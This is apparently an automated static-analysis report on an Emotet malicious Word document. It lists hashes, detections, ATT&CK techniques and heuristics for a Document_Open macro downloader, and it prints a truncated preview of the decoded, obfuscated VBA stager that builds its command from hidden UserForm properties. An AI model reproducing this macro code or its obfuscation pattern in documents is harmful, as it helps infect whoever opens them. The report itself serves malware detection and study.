Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 b4bc36c0b19dd786…

MALICIOUS

Office (OLE)

184.8 KB Created: 2019-12-17 06:30:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: 476771d2fac281a3e26e430ce0c92f3f SHA-1: d38c5de7bb2af0b762c85b184f82ece7dbd4a0df SHA-256: b4bc36c0b19dd7863a9a09e8deef0acb3bac8f5c7aae3ce646dd9e386f4ebc1c
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as a malicious document by ClamAV (Doc.Downloader.Emotet-7461037-0). Heuristics indicate the presence of a Document_Open VBA macro that uses CreateObject and a hidden UserForm property to execute code, a common stager technique. The VBA code is heavily obfuscated, but the overall pattern strongly suggests it acts as a downloader for a further stage of the Emotet malware.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7461037-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7461037-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9723 bytes
SHA-256: ebb7c2763ac4bd0cead15b5b73f209736c8c86dda99a8550c3c8599dcb335a54
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Xmcfuxbsv"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Ftbnehhnwkyvk, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   For Xyxoxchzurfky = Tyloxttoql To Ktcgnhhbozhr
         Qptwphfkncz = Fejgcgixgsk
         Rovtqtli = Vuwkozfzh
Next
Select Case Cxeteluskxie
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Otctntrv = Gqktwmrn To Tqfmkbmdgtaer
         Hvancgvaqv = Jzbyqviiyo
         Lhnoqbbzm = Rradtxpoqep
Next
Select Case Fvjjipns
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Axrpddltrrtpc = Nrgwgahel To Fgzltjjzatkt
         Wzswaoxgbsnjr = Tsgpjxftgyjgc
         Cxwakbphlk = Fhyjsjbhbedby
Next
Select Case Myqiumopp
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Nfryowdqzvu
End Sub

Attribute VB_Name = "Gizmodsb"
Attribute VB_Base = "0{C282382F-F4EF-42E7-9EEB-30487D679B9F}{4909D658-80CF-479A-B8E9-B655CE708E4B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Orpgdezh"
Function Aotbtuvgdhe()
   For Uougccayzu = Mnbmdoxea To Wcohcfrljy
         Cclluadbf = Zwrmozeq
         Fxeovxsij = Wezksddexo
Next
Select Case Yoklsclfhg
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Lwddoikerebu = Xmcfuxbsv.Ftbnehhnwkyvk
   For Wgwqjpkkq = Khylzdetubjkt To Gzjxxclrjmpzg
         Efaakolp = Opfgmvczlik
         Mwzpozjdymtw = Tgiujvijnf
Next
Select Case Qnauyqelndkyx
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Oywzqajxxll = Lwddoikerebu + Gizmodsb.Fdujngxejprps + Gizmodsb.Yfifnhpc + Gizmodsb.Ekehcasree
   For Msqmvfqs = Rhvljwplmy To Mpawqradpl
         Vzzcyqcywc = Dothogio
         Gbmzoyrh = Iipkxnnwv
Next
Select Case Kvxscxtpjc
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Nayqpehfcdhcv = Oywzqajxxll + Gizmodsb.Vwugguduxexty + Gizmodsb.Xqckgqrb
   For Lhjnpevnhoxug = Dohahyhjavwk To Ntfduolgorszw
         Eyffjonp = Zeyjsstkqu
         Qljjxzqhicth = Rfbizeksvkmww
Next
Select Case Pftgmhtwzqozn
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(
... (truncated)

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